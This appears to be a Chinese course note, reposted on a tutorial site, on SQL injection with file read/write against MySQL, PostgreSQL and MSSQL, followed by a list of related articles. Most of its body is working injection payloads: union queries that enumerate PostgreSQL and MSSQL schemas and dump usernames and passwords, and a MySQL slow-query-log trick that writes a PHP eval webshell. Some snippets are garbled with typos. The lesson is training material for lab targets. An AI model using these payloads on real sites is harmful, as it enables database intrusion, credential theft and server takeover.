小迪安全25WEB 攻防-通用漏洞SQL 读写注入MYSQLMSSQLPostgreSQL

本文主要是介绍小迪安全25WEB 攻防-通用漏洞SQL 读写注入MYSQLMSSQLPostgreSQL,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

 #知识点: 

1、SQL 注入-MYSQL 数据库 

2、SQL 注入-MSSQL(SQL server) 数据库 

3、SQL 注入-PostgreSQL 数据库 

#详细点: 

Access 无高权限注入点-只能猜解,还是暴力猜解 

         因为access的数据库是独立存在的,不存在统一管理

对账号密码进行猜解,此时只是获取到后台的操作权限,若要获取到服务器或网站等高级权限,需要进一步的提权操作

 

MYSQL,PostgreSQL,MSSQL 高权限注入点-可升级读写执行等 

 

 

操作一:MYSQL——root高权限读写注入

通过mysql对本地文件的读取:一般读取相关敏感文件

4845a8a1b8714250bb433a13432b65f7.png

 对本地文件的写

418165f821d24958a81df8139f6a53b9.png

419d533c0da6482f83f58e38bbf1090f.png 

 1bcf885d855a48ebb7076bf1d5127062.png

 那么对于读写文件针对的则是敏感文件,敏感文件的获取:

1.Phpinfo

5a37c6f61b13427593d8bd9013a57380.png

698aa9c351024b6a8fb81cd82d878b85.png 

 2.报错

e987e2a3684a4b3ca96850ee42b4bdc9.png

acd2981c7ee74b808af8f9eea62a23a7.png 

连接菜刀,登入后台


3.字典
不知道路径。就不断爆破虚构路径

 

无法写入——配置讲解:
My.ini:

4928ea794e5047a2a26631be244f4ca3.png—对路径进行操作限制,只能访问到值以内的路径

 

突破:注入需要支持SQL环境,若没有则使用第三方phpmyadmin或能够直接连上对方数据库进行绕过

 

1.利用SQL语句,开启漫游日志:

Set global slow_query_log=1;——开启日志

Set global slow_query_log_file=’shell路径’;——令日志内容写入知指定路径

Select ‘<?php eval()$_GET[A]?>’ or Slepp(10);——在指定文键中写入paylioad,菜刀后台连接

 

2.进入phpmyadmin:进行修改

 

操作二:PostgreSQL-高权限读写注入

SQL手工注入漏洞测试PostgreSQL数据库:在工具不行的情况下,进行手工注入

-测列数: 

order by 4 

and 1=2 union select null,null,null,null 

-测显位:第 2,3 

and 1=2 union select 'null',null,null,null 错误 

and 1=2 union select null,'null',null,null 正常 

and 1=2 union select null,null,'null',null 正常 

and 1=2 union select null,null,null,'null' 错误 

 

-获取信息: 

and 1=2 UNION SELECT null,version(),null,null 

and 1=2 UNION SELECT null,current_user,null,null 

and 1=2 union select null,current_database(),null,null 

 

-获取数据库名: 

and 1=2 union select null,string_agg(datname,','),null,null from 

pg_database 

 

-获取表名: 

and 1=2 union select null,string_agg(tablename,','),null,null 

from pg_tables where schemaname='public' 

and 1=2 union select null,string_agg(relname,','),null,null 

from pg_stat_user_tables 

 

-获取列名: 

and 1=2 union select null,string_agg(column_name,','),null,null 

from information_schema.columns where table_name='reg_users' 

-获取数据: 

and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users  

 

-查询高级用户

and 1=2 union select null,string_agg(username,’,’),null,null from pg_user where usesuper IS TRuE  

 

高级权限文件读写操作——参考:https://www.freebuf.com/sectool/24937.heml

 

操作三:mssql-高级权限文件修改

 

判断注入点:点击链接 

判断注入类型:看看是整型还是字符型(and 1=1、and 1=2) 

判断列数:order by n 

判断显示位:union all select NULL,NULL...... 

爆数据库:?id=2 and 1=2 union all select 1,db_name(),'3',4 

爆表:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4 

爆字段:?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4 8、MD5解密 

9、登录,获取KEY

 

 

这篇关于小迪安全25WEB 攻防-通用漏洞SQL 读写注入MYSQLMSSQLPostgreSQL的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/722649

相关文章

MySQL MCP 服务器安装配置最佳实践

《MySQLMCP服务器安装配置最佳实践》本文介绍MySQLMCP服务器的安装配置方法,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录mysql MCP 服务器安装配置指南简介功能特点安装方法数据库配置使用MCP Inspector进行调试开发指

mysql中insert into的基本用法和一些示例

《mysql中insertinto的基本用法和一些示例》INSERTINTO用于向MySQL表插入新行,支持单行/多行及部分列插入,下面给大家介绍mysql中insertinto的基本用法和一些示例... 目录基本语法插入单行数据插入多行数据插入部分列的数据插入默认值注意事项在mysql中,INSERT I

一文详解MySQL如何设置自动备份任务

《一文详解MySQL如何设置自动备份任务》设置自动备份任务可以确保你的数据库定期备份,防止数据丢失,下面我们就来详细介绍一下如何使用Bash脚本和Cron任务在Linux系统上设置MySQL数据库的自... 目录1. 编写备份脚本1.1 创建并编辑备份脚本1.2 给予脚本执行权限2. 设置 Cron 任务2

SQL Server修改数据库名及物理数据文件名操作步骤

《SQLServer修改数据库名及物理数据文件名操作步骤》在SQLServer中重命名数据库是一个常见的操作,但需要确保用户具有足够的权限来执行此操作,:本文主要介绍SQLServer修改数据... 目录一、背景介绍二、操作步骤2.1 设置为单用户模式(断开连接)2.2 修改数据库名称2.3 查找逻辑文件名

SQL Server数据库死锁处理超详细攻略

《SQLServer数据库死锁处理超详细攻略》SQLServer作为主流数据库管理系统,在高并发场景下可能面临死锁问题,影响系统性能和稳定性,这篇文章主要给大家介绍了关于SQLServer数据库死... 目录一、引言二、查询 Sqlserver 中造成死锁的 SPID三、用内置函数查询执行信息1. sp_w

canal实现mysql数据同步的详细过程

《canal实现mysql数据同步的详细过程》:本文主要介绍canal实现mysql数据同步的详细过程,本文通过实例图文相结合给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的... 目录1、canal下载2、mysql同步用户创建和授权3、canal admin安装和启动4、canal

SQL中JOIN操作的条件使用总结与实践

《SQL中JOIN操作的条件使用总结与实践》在SQL查询中,JOIN操作是多表关联的核心工具,本文将从原理,场景和最佳实践三个方面总结JOIN条件的使用规则,希望可以帮助开发者精准控制查询逻辑... 目录一、ON与WHERE的本质区别二、场景化条件使用规则三、最佳实践建议1.优先使用ON条件2.WHERE用

MySQL存储过程之循环遍历查询的结果集详解

《MySQL存储过程之循环遍历查询的结果集详解》:本文主要介绍MySQL存储过程之循环遍历查询的结果集,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言1. 表结构2. 存储过程3. 关于存储过程的SQL补充总结前言近来碰到这样一个问题:在生产上导入的数据发现

MySQL 衍生表(Derived Tables)的使用

《MySQL衍生表(DerivedTables)的使用》本文主要介绍了MySQL衍生表(DerivedTables)的使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学... 目录一、衍生表简介1.1 衍生表基本用法1.2 自定义列名1.3 衍生表的局限在SQL的查询语句select

MySQL 横向衍生表(Lateral Derived Tables)的实现

《MySQL横向衍生表(LateralDerivedTables)的实现》横向衍生表适用于在需要通过子查询获取中间结果集的场景,相对于普通衍生表,横向衍生表可以引用在其之前出现过的表名,本文就来... 目录一、横向衍生表用法示例1.1 用法示例1.2 使用建议前面我们介绍过mysql中的衍生表(From子句